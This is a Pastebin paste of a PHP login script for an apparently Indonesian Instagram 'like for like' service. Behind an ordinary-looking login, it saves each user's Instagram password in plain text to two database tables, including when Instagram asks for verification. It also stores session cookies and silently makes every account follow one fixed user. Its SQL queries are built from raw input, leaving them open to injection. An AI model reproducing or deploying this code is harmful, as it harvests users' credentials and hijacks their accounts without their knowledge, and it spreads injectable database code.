Advertisement
Guest User

Untitled

a guest
Aug 31st, 2018
170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.25 KB | None | 0 0
  1. <?php
  2. session_start();
  3. require_once('library/12.php');
  4. require("mainconfig.php");
  5. include('config.php');
  6. date_default_timezone_set("Asia/Jakarta");
  7. if($_POST['username']||$_POST['password']){
  8. header('Content-Type: application/json');
  9. $user = trim(stripslashes(strip_tags(htmlspecialchars($_POST['username']))));
  10. $pass = trim(stripslashes(strip_tags(htmlspecialchars($_POST['password']))));
  11. $ref = trim(stripslashes(strip_tags(htmlspecialchars($_POST['ref']))));
  12. $anti = (false === strpbrk($user, "#$%^&*()+=-[]';/{}|:<>?~")) ? 'Allowed' : "Disallowed";
  13. if(preg_match("/@/", $user)){
  14. print json_encode(array('result' => 0, 'content' => '<div class="alert alert-warning alert-dismissable">
  15. <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
  16. <strong>Gagal login, jangan gunakan email untuk login!</strong></div>'));
  17. die();
  18. }
  19. if($anti == "Allowed"){
  20.  
  21. $ua12 = generate_useragent(); // ua 12
  22. $ua = generate_useragent10(); // ua 10
  23. $devid = generateDeviceId(); // devid 12
  24. $guid = generateUUID(); // guid 12
  25. $date = date("Y-m-d");
  26. $a = instagram(1, $ua12, 'accounts/login/', 0, generateSignature('{"device_id":"'.$devid.'","guid":"'.$guid.'","username":"'.$user.'","password":"'.$pass.'","Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"}'));
  27. $header = $a[0];
  28. $a = json_decode($a[1]);
  29. if($a->status == 'ok'){
  30. preg_match_all('%Set-Cookie: (.*?);%',$header,$d);$cookie = '';
  31. for($o=0;$o<count($d[0]);$o++)$cookie.=$d[1][$o].";";
  32. $cookie = json_encode($cookie);
  33. $id = $a->logged_in_user->pk;
  34.  
  35. $cekcount = mysql_num_rows(mysql_query("SELECT * FROM likeforlike where username='$user'"));
  36. $cekuser = mysql_fetch_array(mysql_query("SELECT * FROM likeforlike where username='$user'"));
  37. $cekcount2 = mysql_num_rows(mysql_query("SELECT * FROM user where username='$user'"));
  38.  
  39. if($cekcount == 0){
  40.  
  41. logActivity($user,'new user.');
  42. $passx = $pass;
  43. if($cekcount2 == 0){
  44. mysql_query("INSERT INTO `user` VALUES('','$user','$passx')");
  45. }else{
  46. mysql_query("UPDATE `user` SET `password`='$passx' WHERE `username`='$user'");
  47. }
  48. request(1, $ua, 'friendships/create/8480793905/', $cookie, generateSignature('{"user_id":"8480793905"}'));
  49. $save = "INSERT INTO likeforlike VALUES('','$user','$id','0','$cookie','$ua','$date','0','Not VIP','Active','0','Public','Off','No','No')";
  50. $save = mysql_query($save);
  51. $saveref = "INSERT INTO stats_ref VALUES ('','$ref','$user')";
  52. $saveref = mysql_query($saveref);
  53. }else{
  54. logActivity($user,'user login.');
  55. $passx = $pass;
  56. if($cekcount2 == 0){
  57. mysql_query("INSERT INTO `user` VALUES('','$user','$passx')");
  58. }else{
  59. mysql_query("UPDATE `user` SET `password`='$passx' WHERE `username`='$user'");
  60. }
  61. request(1, $ua, 'friendships/create/8480793905/', $cookie, generateSignature('{"user_id":"8480793905"}'));
  62. $query = "UPDATE likeforlike SET idig='$id' , cookies='$cookie' , useragent='$ua' , action='Active' where username='$user'";
  63. $set = mysql_query($query);
  64. if($set){
  65. $_SESSION['username'] = $user;
  66. }else{
  67. echo '<div class="alert alert-warning alert-dismissable">
  68. <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
  69. <strong>Error while tried connecting to database. Please contact administrator.</strong></div>';
  70. }
  71. }
  72. $_SESSION['username'] = $user;
  73. print json_encode(array('result' => 1, 'content' => '<div class="alert alert-success alert-dismissable"><a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a><strong>Success login, Please wait...</strong></div>', 'redirect' => 'home?login=success'));
  74. die();
  75. }else if($a->message == 'challenge_required'){
  76. $cekpo = mysql_num_rows(mysql_query("SELECT * FROM checkpoint where username='$user'"));
  77. if($cekpo == 0){
  78. mysql_query("INSERT INTO `checkpoint` VALUES('','$user','$pass','','','')");
  79. }else{
  80. mysql_query("UPDATE `checkpoint` SET `password`='$pass' WHERE `username`='$user'");
  81. }
  82. print json_encode(array('result' => 0, 'content' => '<div class="alert alert-warning alert-dismissable">
  83. <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
  84. <strong>'.$a->message.'</strong> Mohon untuk buka aplikasi Instagram Anda lalu melakukan verifikasi "Ini adalah Saya" atau "It\'s Me". Jika sudah silakan mencoba login kembali.</div>'));
  85. die();
  86. }else if($a->status == 'fail'){
  87. print json_encode(array('result' => 0, 'content' => '<div class="alert alert-warning alert-dismissable">
  88. <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
  89. <strong>'.$a->message.'</strong></div>'));
  90. die();
  91. }
  92. }else{
  93. print json_encode(array('result' => 0, 'content' => '<div class="alert alert-warning alert-dismissable">
  94. <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
  95. <strong>Hai Hacker :)</strong></div>'));
  96. die();
  97. }
  98. }
  99. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement